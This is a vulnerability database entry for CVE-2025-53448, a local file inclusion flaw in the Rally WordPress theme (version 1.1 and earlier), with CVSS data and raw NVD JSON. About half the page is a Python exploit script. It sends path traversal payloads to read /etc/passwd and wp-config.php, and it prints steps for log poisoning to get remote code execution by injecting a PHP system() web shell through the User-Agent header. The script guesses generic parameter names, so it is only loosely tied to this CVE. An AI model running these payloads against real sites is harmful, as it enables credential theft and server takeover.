Security Vulnerability Report
中文
CVE-2025-53448 CVSS 8.1 HIGH

CVE-2025-53448

Published: 2025-12-18 08:15:55
Last Modified: 2026-01-20 15:16:58

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Rally rally allows PHP Local File Inclusion.This issue affects Rally: from n/a through <= 1.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:rally:*:*:*:*:*:wordpress:*:* - VULNERABLE
Rally Theme <= 1.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53448 PoC - Rally Theme Local File Inclusion # Target: WordPress site with Rally theme <= 1.1 import requests import argparse from urllib.parse import urlencode def test_lfi(target_url, filename): """ Test for Local File Inclusion vulnerability in Rally theme """ # Common LFI parameters in WordPress themes lfi_params = ['file', 'page', 'template', 'action', 'include', 'load'] # Files to read files_to_read = [ '../../../../../../../../etc/passwd', '../../../../../../../../wp-config.php', '../../../../../../../../windows/system32/drivers/etc/hosts' ] for param in lfi_params: for file_path in files_to_read: try: # Test LFI payload = {param: file_path} response = requests.get(target_url, params=payload, timeout=10) if 'root:' in response.text or 'DB_NAME' in response.text: print(f'[+] VULNERABLE! Parameter: {param}') print(f'[+] File: {file_path}') print(f'[+] Response snippet: {response.text[:500]}') return True except requests.exceptions.RequestException as e: print(f'[-] Error testing {param}: {e}') print('[-] No LFI vulnerability detected') return False def exploit_rce(target_url, param, lhost, lport): """ Attempt RCE via LFI + Log Poisoning / Session File """ # Method 1: PHP session file poisoning session_file = '/var/lib/php/sessions/sess_' + 'random_session_id' # Method 2: Apache log poisoning log_file = '../../../../../../../../var/log/apache2/access.log' print(f'[*] To achieve RCE, inject PHP code into logs first:') print(f'[*] curl -H "User-Agent: <?php system($_GET["cmd"]); ?>" {target_url}') print(f'[*] Then access: {target_url}?{param}={log_file}&cmd=whoami') if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-53448 PoC') parser.add_argument('-u', '--url', required=True, help='Target URL') parser.add_argument('-f', '--file', default='/etc/passwd', help='File to read') args = parser.parse_args() test_lfi(args.url, args.file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53448", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:55.270", "lastModified": "2026-01-20T15:16:58.050", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Rally rally allows PHP Local File Inclusion.This issue affects Rally: from n/a through <= 1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:rally:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.1", "matchCriteriaId": "125EC20B-7761-4898-965B-29EE0692937D"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/rally/vulnerability/wordpress-rally-theme-1-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}